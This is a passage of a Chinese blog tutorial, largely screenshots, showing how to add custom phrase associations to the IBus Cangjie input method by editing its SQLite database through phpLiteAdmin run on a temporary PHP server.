<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvUPRy3ZzT07PgYvlbjS6vRDarHMnbraPKT8XoWFZuWLGjUO-bubZ0OBS46IaeExF-PekZDfTqBOKnn7nBkMfiUSk3UprKZjs2DTfSPu0hwgZNctC1Ju15YDtIf9ZT-4A5DPHwu4vVGB-CGLywRNFq0wcen3oG5TrOnCLHe1miPaAOIbnMI7eSDkCuWqI/w0/ibus-custom-phrases-007.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvUPRy3ZzT07PgYvlbjS6vRDarHMnbraPKT8XoWFZuWLGjUO-bubZ0OBS46IaeExF-PekZDfTqBOKnn7nBkMfiUSk3UprKZjs2DTfSPu0hwgZNctC1Ju15YDtIf9ZT-4A5DPHwu4vVGB-CGLywRNFq0wcen3oG5TrOnCLHe1miPaAOIbnMI7eSDkCuWqI/w600/ibus-custom-phrases-007.png"/></a></div>
<div>說明</div>
<br/>-->
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrU7PEp5y9DmR4KGoB7XztcBoI0jGdVzqWwInMcTWObGqUWJ61aa_Z29JDDllF5msTwerE4rFRQRdHmzjYc8c3lUdbUwLAfmj9eG0ZOgmJwY2rNlWqJvaN_9MZd8jEFXXMQ4bgSwQU1zUWiENS2qP_DMvYU03qtgUM45ovPWpW0k5zVcKNtC_llDTeYow/w0/ibus-custom-phrases-008.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrU7PEp5y9DmR4KGoB7XztcBoI0jGdVzqWwInMcTWObGqUWJ61aa_Z29JDDllF5msTwerE4rFRQRdHmzjYc8c3lUdbUwLAfmj9eG0ZOgmJwY2rNlWqJvaN_9MZd8jEFXXMQ4bgSwQU1zUWiENS2qP_DMvYU03qtgUM45ovPWpW0k5zVcKNtC_llDTeYow/w600/ibus-custom-phrases-008.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt8XbJyb8pvfWvZ8xivS57MiCCmyEga0wz3KxaBAnL7ueHSNvH3ZDIkjLMceKbsUSaiSsozMe_XnXiDVKTI2IgsLNSeMtFvwYcPKMabdXHfdpgcYoLjdXmP_03HEZB0tAUIMuo65OTFTRB2FMtBnNHHcaePnZQ9eFPxTHn7l7SbFuZYHbIAqMvb05sOTc/w0/ibus-custom-phrases-009.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt8XbJyb8pvfWvZ8xivS57MiCCmyEga0wz3KxaBAnL7ueHSNvH3ZDIkjLMceKbsUSaiSsozMe_XnXiDVKTI2IgsLNSeMtFvwYcPKMabdXHfdpgcYoLjdXmP_03HEZB0tAUIMuo65OTFTRB2FMtBnNHHcaePnZQ9eFPxTHn7l7SbFuZYHbIAqMvb05sOTc/w600/ibus-custom-phrases-009.png"/></a></div>
<div>將 phpliteadmin-dev.zip 解壓縮</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFULXq8dgQfOxlwBlqp9R9YqHQ-norAUACqZ02k1t3JSv-xrakM5Ial3JBD3CdS43LuRepFXcajfzo4wKZsqy8YRfwurpldMhkWraYlFRMSNGlguimzTZzvVCAT-DzVLAPoy6rTVdFjL2J_0B8hMrjGkK2avP8odcj09sHlF0Z-gCOcYOk16S8lPAp0YI/w0/ibus-custom-phrases-010.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFULXq8dgQfOxlwBlqp9R9YqHQ-norAUACqZ02k1t3JSv-xrakM5Ial3JBD3CdS43LuRepFXcajfzo4wKZsqy8YRfwurpldMhkWraYlFRMSNGlguimzTZzvVCAT-DzVLAPoy6rTVdFjL2J_0B8hMrjGkK2avP8odcj09sHlF0Z-gCOcYOk16S8lPAp0YI/w600/ibus-custom-phrases-010.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFLdzt00X9OWYnBw5QRkQ88ofuuhMA_lt5CE1w984haa7oVRFWYV6IYsjrN0VY8FCWQRC4YkGX3oKlV7rvzNBGXiRZ7nZvKj0QwQaso1cpjGHaA1Fyw_ARcsi7J3Z_uH28jxxK3PNZMNu3s0mfVKKH9ZYqzG_lVqvarNYzmIbJs7K7bcLLxC9fDhx6gIg/w0/ibus-custom-phrases-011.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFLdzt00X9OWYnBw5QRkQ88ofuuhMA_lt5CE1w984haa7oVRFWYV6IYsjrN0VY8FCWQRC4YkGX3oKlV7rvzNBGXiRZ7nZvKj0QwQaso1cpjGHaA1Fyw_ARcsi7J3Z_uH28jxxK3PNZMNu3s0mfVKKH9ZYqzG_lVqvarNYzmIbJs7K7bcLLxC9fDhx6gIg/w600/ibus-custom-phrases-011.png"/></a></div>
<div>將 <span class="mra-highlighter">phpliteadmin.php</span> 修改為 <span class="mra-highlighter">index.php</span> ,方便瀏覽時不需要輸入檔案名</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4GN-Cx4p-LN7M_8reREuorK399ovAAfu1dBFW5UIe0UXo0TfiEGDVQSTY-4IJik_ZwDSuEEtiu-u8-UNaunSgNunCAZRPBXGwbmv3U36I8EEHECuSY6ZvgyfSGG-X-uNjB8S3rLPZcGWC_BfenOL9ilqbL96QVBOzEVVyxq0CnZEDz2Hht-KqjARBB9c/w0/ibus-custom-phrases-012.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4GN-Cx4p-LN7M_8reREuorK399ovAAfu1dBFW5UIe0UXo0TfiEGDVQSTY-4IJik_ZwDSuEEtiu-u8-UNaunSgNunCAZRPBXGwbmv3U36I8EEHECuSY6ZvgyfSGG-X-uNjB8S3rLPZcGWC_BfenOL9ilqbL96QVBOzEVVyxq0CnZEDz2Hht-KqjARBB9c/w600/ibus-custom-phrases-012.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaCB7lgG_-2rbpRcIHMWks_3kDwBcWz1YptSjPDG2xosC4WJscypexicRQxzXrZz6DAaNi3pqy60Bgd4QcJNOMOgFzsCSoHWFO6ffu8YZczbXJ2lNYkwvz4wXv2sAG-yvzaEbfmQuQPL39_lb3v-jmL9JyHQO7z7IC7pNti-fG3lUH4-WP-v3UtwivOug/w0/ibus-custom-phrases-013.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaCB7lgG_-2rbpRcIHMWks_3kDwBcWz1YptSjPDG2xosC4WJscypexicRQxzXrZz6DAaNi3pqy60Bgd4QcJNOMOgFzsCSoHWFO6ffu8YZczbXJ2lNYkwvz4wXv2sAG-yvzaEbfmQuQPL39_lb3v-jmL9JyHQO7z7IC7pNti-fG3lUH4-WP-v3UtwivOug/w600/ibus-custom-phrases-013.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJcNQ-E-rH0SG7zSUfrsCRbUZMPDgTkc8oPDiKDCuOY9p4RoFjXoG9sazRET-RG_h9oBDBLIpdU71OC-2rrCRfdUnZNN01FmBWnX-NOCoADwbOK6t12Uweyb9HuobeaaSKfFkPLW_FCCL6hZVcp2nrTSxOEZmm9WvOFsor-DC9V7KRdRBBlj-6SiG2Mh8/w0/ibus-custom-phrases-014.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJcNQ-E-rH0SG7zSUfrsCRbUZMPDgTkc8oPDiKDCuOY9p4RoFjXoG9sazRET-RG_h9oBDBLIpdU71OC-2rrCRfdUnZNN01FmBWnX-NOCoADwbOK6t12Uweyb9HuobeaaSKfFkPLW_FCCL6hZVcp2nrTSxOEZmm9WvOFsor-DC9V7KRdRBBlj-6SiG2Mh8/w600/ibus-custom-phrases-014.png"/></a></div>
<div>要使用 phpLiteAdmin 操作 SQLite 需要安裝 <a href="apt:php">php</a>, <a href="apt:php-mbstring">php-mbstring</a>, <a href="apt:php-sqlite3">php-sqlite3</a></div>
<pre class="brush:bash">sudo apt install php php-mbstring php-sqlite3</pre>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj750hJ-1xwU09gnqPT1f3hWQMuRLqsLSCtsRlFN1vWL7282nFq3XmySVeS9pdAsr4sy3dr8V4iZVDnr6fuZ0VexPMbG8zIJL1seIaj7afKW-rSPTvTcrWVaM3PDrWHh2QIKFmc6rsrjfkuxIwB1iKu6KJkb0RawykwFuDg0IAmOAq77jNMC16iCaAmHh0/w0/ibus-custom-phrases-015.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj750hJ-1xwU09gnqPT1f3hWQMuRLqsLSCtsRlFN1vWL7282nFq3XmySVeS9pdAsr4sy3dr8V4iZVDnr6fuZ0VexPMbG8zIJL1seIaj7afKW-rSPTvTcrWVaM3PDrWHh2QIKFmc6rsrjfkuxIwB1iKu6KJkb0RawykwFuDg0IAmOAq77jNMC16iCaAmHh0/w600/ibus-custom-phrases-015.png"/></a></div>
<div>將 SQLite資料庫 的連結存放到 phpLiteAdmin 的目錄,輸入:</div>
<pre class="brush:bash">ln -s '/usr/share/ibus-table/tables/cangjie3.db' .</pre>
<div>由於 SQLite資料庫只是連結,來源的檔案仍然屬於 root ,因此需要 root 或 sudo 才能寫入資料,輸入:</div>
<pre class="brush:bash">sudo php -S 0.0.0.0:8080</pre>
<div>以 sudo 方式起動臨時網頁伺服器,便可以具備具寫入權限</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXoFL_Stq0GvcQUcwXa7lJz-Qe5LSqw4c7o6ijRBJriEDzNpERqAjAwXcueuILRtWbQpcBBD00y1Rx9VfhGJZa0bqqUgfc0Vrmf4nFmX83hbN0xcSNoodj-hJyy5Rb2wltwMTypeQafKu1Gk_-sauJoBGNCGA9e2002ei-eAhpvWHRXZh_w2FSpM6ffs8/w0/ibus-custom-phrases-016.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXoFL_Stq0GvcQUcwXa7lJz-Qe5LSqw4c7o6ijRBJriEDzNpERqAjAwXcueuILRtWbQpcBBD00y1Rx9VfhGJZa0bqqUgfc0Vrmf4nFmX83hbN0xcSNoodj-hJyy5Rb2wltwMTypeQafKu1Gk_-sauJoBGNCGA9e2002ei-eAhpvWHRXZh_w2FSpM6ffs8/w600/ibus-custom-phrases-016.png"/></a></div>
<div>起動臨時伺服器後,以網頁瀏覽器瀏覽 <a href="http://127.0.0.1:8080/">http://127.0.0.1:8080/</a><br/>
載入到 phpLiteAdmin 登入頁面,預設登入密碼為 <span class="mra-highlighter">admin</span><br/>
(8080 是對應起動臨時伺服器時的設定值,不一定使用 8080)</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmQqc4ODhyx-wDrADQ7f4_n3pHqIKdGVHyqp3VHyrBXHKKYcdHdJi_dE9GSS5wfSU64O5qLoASH6JHolPVVDlxBlOGLWgGX2IVejyx151K5TcM6943vOlrvjqZPJoetI9dycN4XsPToYhs6fYnjnuLKIB7Os1DYfuvpFwnTxLhbRjdBfDmjM09Ug2_X2k/w0/ibus-custom-phrases-017.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmQqc4ODhyx-wDrADQ7f4_n3pHqIKdGVHyqp3VHyrBXHKKYcdHdJi_dE9GSS5wfSU64O5qLoASH6JHolPVVDlxBlOGLWgGX2IVejyx151K5TcM6943vOlrvjqZPJoetI9dycN4XsPToYhs6fYnjnuLKIB7Os1DYfuvpFwnTxLhbRjdBfDmjM09Ug2_X2k/w600/ibus-custom-phrases-017.png"/></a></div>
<div>登入後,顯示資料庫中的資料表基本資料</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnflJgpSGyT4RUagxKFn4KU9q6nayYF8-om7nzNKC85UPvM7lnF2-bkubKPtZLtu_dnZn-nP4Ba5g1vk8LWOTv57tmrEnJWgHaqZmckStjjz0m9aLIXKM065Me4JGgZNqzbQV9UNa-zJxo839h7v4pQYfFiq1UJ7sOsqkh9Hgub7WBnboY4pm_2hamBmE/w0/ibus-custom-phrases-018.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnflJgpSGyT4RUagxKFn4KU9q6nayYF8-om7nzNKC85UPvM7lnF2-bkubKPtZLtu_dnZn-nP4Ba5g1vk8LWOTv57tmrEnJWgHaqZmckStjjz0m9aLIXKM065Me4JGgZNqzbQV9UNa-zJxo839h7v4pQYfFiq1UJ7sOsqkh9Hgub7WBnboY4pm_2hamBmE/w600/ibus-custom-phrases-018.png"/></a></div>
<div>載入 phrases 資料表,按 <span class="mra-highlighter">Search分頁</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU_0KoRXLRgSAvJww5mKnolN6rqFBmeeOfSPakqvK0m_tKtiPlvsBdYXjtEqA5DOTnXm5eI69zmZR1v1ya6Wa1Asz28TJ3AnxOIcjyKEjz95T8b_5XXi3sfqGWjUWkFSkNaeoUMOj1a1144KK3qv3FHXLnP_U1iip__oLnOEuh7r1a7jOUvOnc0lEKEGU/w0/ibus-custom-phrases-019.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU_0KoRXLRgSAvJww5mKnolN6rqFBmeeOfSPakqvK0m_tKtiPlvsBdYXjtEqA5DOTnXm5eI69zmZR1v1ya6Wa1Asz28TJ3AnxOIcjyKEjz95T8b_5XXi3sfqGWjUWkFSkNaeoUMOj1a1144KK3qv3FHXLnP_U1iip__oLnOEuh7r1a7jOUvOnc0lEKEGU/w600/ibus-custom-phrases-019.png"/></a></div>
<div>在 phrase 的文字欄輸入需要搜尋的文字<br/>
(與剛才的 SELECT 搜尋文字相同)</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdobZAt_GkCZvsvdCCUgpS_mHLvnbZTSGsk9en_sEgXzyK-lmwyakBaQ7MfQk3BXFcAfw4pYss3cEbAghXR4P9L_GOOjqJ5taD5mouCWC90dfNteSaGqg6VjGo16f9OJb-o2NI5d0N-H2WZK81T-PScMECyC3G6B6ZEWX3tbSjDsAuBF-OmIi7aYVU2FE/w0/ibus-custom-phrases-020.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdobZAt_GkCZvsvdCCUgpS_mHLvnbZTSGsk9en_sEgXzyK-lmwyakBaQ7MfQk3BXFcAfw4pYss3cEbAghXR4P9L_GOOjqJ5taD5mouCWC90dfNteSaGqg6VjGo16f9OJb-o2NI5d0N-H2WZK81T-PScMECyC3G6B6ZEWX3tbSjDsAuBF-OmIi7aYVU2FE/w600/ibus-custom-phrases-020.png"/></a></div>
<div>搜尋結果與之前指令方式相同</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEu2JzG58fZemmFjfMo5WDR4rWEEQKqyxQcrSIpULEqmZ3fvlKOuzwva6DLIJIDhWgleIqfWZ1r02hrcAwWR5VBkbFoeY2ehn2iadMOCJ1BfApA-mp33keXNDFNo7IyjTWZEQKkAK-2r5tlbQwuXm3Oe6VzKbIUG1DiZ7zEAy4CckEMyMjnqaJVgOut1M/w0/ibus-custom-phrases-021.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEu2JzG58fZemmFjfMo5WDR4rWEEQKqyxQcrSIpULEqmZ3fvlKOuzwva6DLIJIDhWgleIqfWZ1r02hrcAwWR5VBkbFoeY2ehn2iadMOCJ1BfApA-mp33keXNDFNo7IyjTWZEQKkAK-2r5tlbQwuXm3Oe6VzKbIUG1DiZ7zEAy4CckEMyMjnqaJVgOut1M/w600/ibus-custom-phrases-021.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-eW-lKcU2Zb8u7dsaBnbpgs_6JKQxWYDGCfooE2F33ywJJ5yhxmK-kS8KnCPS6LHqR0-ji8gJkOELccW9wnLY1uzzPJs1267scraVORZ-MP3wsGk3j00Bx0h_Otkoh2XDvz-cCiLnN2D_KgKH39HSX7XTizgOZe1NkmwArU2Q5hyH36_ArxhkK1D8wOI/w0/ibus-custom-phrases-022.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-eW-lKcU2Zb8u7dsaBnbpgs_6JKQxWYDGCfooE2F33ywJJ5yhxmK-kS8KnCPS6LHqR0-ji8gJkOELccW9wnLY1uzzPJs1267scraVORZ-MP3wsGk3j00Bx0h_Otkoh2XDvz-cCiLnN2D_KgKH39HSX7XTizgOZe1NkmwArU2Q5hyH36_ArxhkK1D8wOI/w600/ibus-custom-phrases-022.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNsTGQLt9Sxkfxv6pgn_DfOQs6BQnoEiGPFYoieDHQV_4qBtYocCfCTWHg5Uwg5f_KWVx0Dv3sCdvRv6tJJnGuKq2xcxflOlEd90oDOtDDTKsjn02RyH8tRy6khTSSGwaT6qKIcg5YpDZyITtsj5cPiY-8-YxisZYiZsh5HiQEa1it6ywaCzVDvEIjV0M/w0/ibus-custom-phrases-023.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNsTGQLt9Sxkfxv6pgn_DfOQs6BQnoEiGPFYoieDHQV_4qBtYocCfCTWHg5Uwg5f_KWVx0Dv3sCdvRv6tJJnGuKq2xcxflOlEd90oDOtDDTKsjn02RyH8tRy6khTSSGwaT6qKIcg5YpDZyITtsj5cPiY-8-YxisZYiZsh5HiQEa1it6ywaCzVDvEIjV0M/w600/ibus-custom-phrases-023.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzupjJyetkggFGP8dZtX7hOh71HyOLa3XCfLOkeYC2Wd8pmYpKW5maOCHgtTYlvQeeAEZWmwvjS3ConrWcWSkNZTlaCTcvavYnwosWNnFSynM1sIVYAsnDHMncb7bTlrgFD1xBgaw0iPeOxjLn58F37sJc0jVl_7S-cdSvTuyk6wb-rAtxQcQCQjB3wRk/w0/ibus-custom-phrases-024.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzupjJyetkggFGP8dZtX7hOh71HyOLa3XCfLOkeYC2Wd8pmYpKW5maOCHgtTYlvQeeAEZWmwvjS3ConrWcWSkNZTlaCTcvavYnwosWNnFSynM1sIVYAsnDHMncb7bTlrgFD1xBgaw0iPeOxjLn58F37sJc0jVl_7S-cdSvTuyk6wb-rAtxQcQCQjB3wRk/w600/ibus-custom-phrases-024.png"/></a></div>
<div>確定需要自訂配詞的文字後,按 Insert 分頁<br/>
然後按需要在 phrase 輸入配詞文字,其他欄目則可以以在下之前建議的方式填入資料</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxl7cr0eA_JfAWyYB7FBj8pSRi910ieze3dwQCvGY3y6eWFmOWK3e7amFJ-s2PzXcfjdP6NdqrzVc_pSTwRUAwC1wZu_pN1OikzP43jNJwZbmvH1FcY5j_b5Uw0DAgnmdC3zfqo4azCqpOFjxIlEF_jIm2Zsw-saML0nR4zeLODblmriIqfakQuFH_xsM/w0/ibus-custom-phrases-025.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxl7cr0eA_JfAWyYB7FBj8pSRi910ieze3dwQCvGY3y6eWFmOWK3e7amFJ-s2PzXcfjdP6NdqrzVc_pSTwRUAwC1wZu_pN1OikzP43jNJwZbmvH1FcY5j_b5Uw0DAgnmdC3zfqo4azCqpOFjxIlEF_jIm2Zsw-saML0nR4zeLODblmriIqfakQuFH_xsM/w600/ibus-custom-phrases-025.png"/></a></div>
<div>修改完成後,在輸入文字時,便會顯示聯想字列表</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFgN3-d9nWPGUixgkMx43FPW9DAuUCptLkeqjsWtsEwV82P0db5bKf-wOcsnfgGX6TZ_fsVt9wVfQ80H3GTSOVQjMofN7esEoZkGL1PrDDJw7HHfkNIS8KclfxyHzfsjJJ2zUpzh9EesqgLK8-mbBPUkChbDd81RAWqb3gYf0zn4JdLVzvgSXQWERdvOE/w0/ibus-custom-phrases-026.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFgN3-d9nWPGUixgkMx43FPW9DAuUCptLkeqjsWtsEwV82P0db5bKf-wOcsnfgGX6TZ_fsVt9wVfQ80H3GTSOVQjMofN7esEoZkGL1PrDDJw7HHfkNIS8KclfxyHzfsjJJ2zUpzh9EesqgLK8-mbBPUkChbDd81RAWqb3gYf0zn4JdLVzvgSXQWERdvOE/w600/ibus-custom-phrases-026.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJGkZofFu3wAD9BNghzRPH7UmVxhTQ_Y9unT1F_wKuIzvSm522pn9NWzFfEa343TGqIoriNT4PgjR1_MP8lSkWIPaoJJSZDCIIP3hV85aedl-XR2c2-6d5e4aSWalM-DKwY0bcbk5Ug8d7L3A5dZXGipuvzhqGsbVwemUwYNMxV0aB5Tr3zrHdvT0ggfA/w0/ibus-custom-phrases-027.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJGkZofFu3wAD9BNghzRPH7UmVxhTQ_Y9unT1F_wKuIzvSm522pn9NWzFfEa343TGqIoriNT4PgjR1_MP8lSkWIPaoJJSZDCIIP3hV85aedl-XR2c2-6d5e4aSWalM-DKwY0bcbk5Ug8d7L3A5dZXGipuvzhqGsbVwemUwYNMxV0aB5Tr3zrHdvT0ggfA/w600/ibus-custom-phrases-027.png"/></a></div>
<div>但每次提交一個配詞的方式輸入資料太花時間,亦容易出錯<br/>
可以使用 SQL指令 的方式,同時執行大量操作</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCW_wpFRTso1gBtIfCwZjdmVnziwEOd_XRoEh3DR_JHoxPmostmr0qUwJXeMTRQEPSQulAuQdVKodbhEDsowB9GQxYBQRklmu95WV00WHvDP68sLmScsBt6Lp-SIyuK0av56KfAmCJqau76dChOwMiUUDUXsSbltorT5ncPt55yRAD9Jt4z5jTNpOKFyI/w0/ibus-custom-phrases-028.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCW_wpFRTso1gBtIfCwZjdmVnziwEOd_XRoEh3DR_JHoxPmostmr0qUwJXeMTRQEPSQulAuQdVKodbhEDsowB9GQxYBQRklmu95WV00WHvDP68sLmScsBt6Lp-SIyuK0av56KfAmCJqau76dChOwMiUUDUXsSbltorT5ncPt55yRAD9Jt4z5jTNpOKFyI/w600/ibus-custom-phrases-028.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheP_6C0wNRP3X0DW0s_rh2n1NRw_8qX3hs_aWBBCk8i690nQABMfxJSkVLcEopuQUlruYMxGf0Fp57A3ZEMVEXzD6CFjwQmAyA4zZVTvy2kNjC0zrGYysmrtw7cYfE-32SbMPMMOy_vvEkRmLlg6kr7DQZzwcsZg_l9YE4rKNv3rNLA4z82B-2JSdvF0E/w0/ibus-custom-phrases-029.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheP_6C0wNRP3X0DW0s_rh2n1NRw_8qX3hs_aWBBCk8i690nQABMfxJSkVLcEopuQUlruYMxGf0Fp57A3ZEMVEXzD6CFjwQmAyA4zZVTvy2kNjC0zrGYysmrtw7cYfE-32SbMPMMOy_vvEkRmLlg6kr7DQZzwcsZg_l9YE4rKNv3rNLA4z82B-2JSdvF0E/w600/ibus-custom-phrases-029.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcVsZIC2oD87XMRbENz37tre8LCG9DhvWyF0xafPHEZyynBZCOxtWyLY7rtsBSt9df2E1V9jg8eDS6eqc-WHIx8K9ZwdVENczSM7tHZMlzty6PRJ_d1UoLxEyETpHr3xkeQGfWw88VtgRu1MUaJYoG8jHq45eNgTDJ-_IDDJ7Xi31Z3S_WU3mLJrhzTsk/w0/ibus-custom-phrases-030.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcVsZIC2oD87XMRbENz37tre8LCG9DhvWyF0xafPHEZyynBZCOxtWyLY7rtsBSt9df2E1V9jg8eDS6eqc-WHIx8K9ZwdVENczSM7tHZMlzty6PRJ_d1UoLxEyETpHr3xkeQGfWw88VtgRu1MUaJYoG8jHq45eNgTDJ-_IDDJ7Xi31Z3S_WU3mLJrhzTsk/w600/ibus-custom-phrases-030.png"/></a></div>
<div>同樣做到相同結果</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyxVVxm0lzX7vze2K4bxszLCsOkB5Nvif4_LnzL1sfH31KdoB4v9XrG1bCmeGiF-DwSJJX0JluBJl8BC7HM6s50BKaIl8OfnGknX3M15WXht1TIH6zHb59V1B8Ix4JpDGUZMyilNUg8hQRXoprbKTKP-lGHkBvpwwXPESc3r1OmXX6tJF-uukglgAoaXQ/w0/ibus-custom-phrases-031.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyxVVxm0lzX7vze2K4bxszLCsOkB5Nvif4_LnzL1sfH31KdoB4v9XrG1bCmeGiF-DwSJJX0JluBJl8BC7HM6s50BKaIl8OfnGknX3M15WXht1TIH6zHb59V1B8Ix4JpDGUZMyilNUg8hQRXoprbKTKP-lGHkBvpwwXPESc3r1OmXX6tJF-uukglgAoaXQ/w600/ibus-custom-phrases-031.png"/></a></div>
<div>自訂聯想字列表並不限制輸入的文字在詞語中的位置<br/>
即是不一定是詞語的第一個字</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSYDZzg6zHolaH5HXdTI79j7sBjzM4KAZZaPErXExD-AjlMkGJBUEemqzqVOxC46jGSCYGStkTzcVTQjEvqihFOjiwK237fO53QjojY0DdMgu_5cQjBQs4Yf6QS-aj17VjnvJgjTRxvx-i3gzos8pf4Yb4de1Cb02eyYPt0Jo69EfO3tbfRq6Z7YvftYU/w0/ibus-custom-phrases-032.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSYDZzg6zHolaH5HXdTI79j7sBjzM4KAZZaPErXExD-AjlMkGJBUEemqzqVOxC46jGSCYGStkTzcVTQjEvqihFOjiwK237fO53QjojY0DdMgu_5cQjBQs4Yf6QS-aj17VjnvJgjTRxvx-i3gzos8pf4Yb4de1Cb02eyYPt0Jo69EfO3tbfRq6Z7YvftYU/w600/ibus-custom-phrases-032.png"/></a></div>
<div>自訂聯想字列表亦不限制詞語的長度<br/>
能夠只需要輸入一個字便可以將整篇文章輸出</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizQsqgSehSgCP5wKtKY7r09SNPGyp98hUpePHBE_bSPC3fHwDwmApR3dE-K6h9fPH3PgRWWBGbHe-VERKKnoSachsRC_MbuHehMCNmbydJrkiOwa5W_x5PBA4kURLTyw58ncQA-Yt6trsd39YKIAyIN4TTGj2gzkrrNUTMCAW3sa6QCIErGziSYvU3NPs/w0/ibus-custom-phrases-033.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizQsqgSehSgCP5wKtKY7r09SNPGyp98hUpePHBE_bSPC3fHwDwmApR3dE-K6h9fPH3PgRWWBGbHe-VERKKnoSachsRC_MbuHehMCNmbydJrkiOwa5W_x5PBA4kURLTyw58ncQA-Yt6trsd39YKIAyIN4TTGj2gzkrrNUTMCAW3sa6QCIErGziSYvU3NPs/w600/ibus-custom-phrases-033.png"/></a></div>
<div>其實聯想字列表並沒有限制任何內容,嚴格來說根本沒有聯想字列表<br/>
IBus 輸入法的資料表只是定義輸入法的規則及與鍵碼配對的內容<br/>
因此可以製作任意鍵碼配對、與原本輸入法的邏輯無關的結果<br/>
但製作的內容如果太過雜亂無章,都會影響使用輸入法時體驗,因此在下不建議太過胡亂的配對結果</div>
<br/>
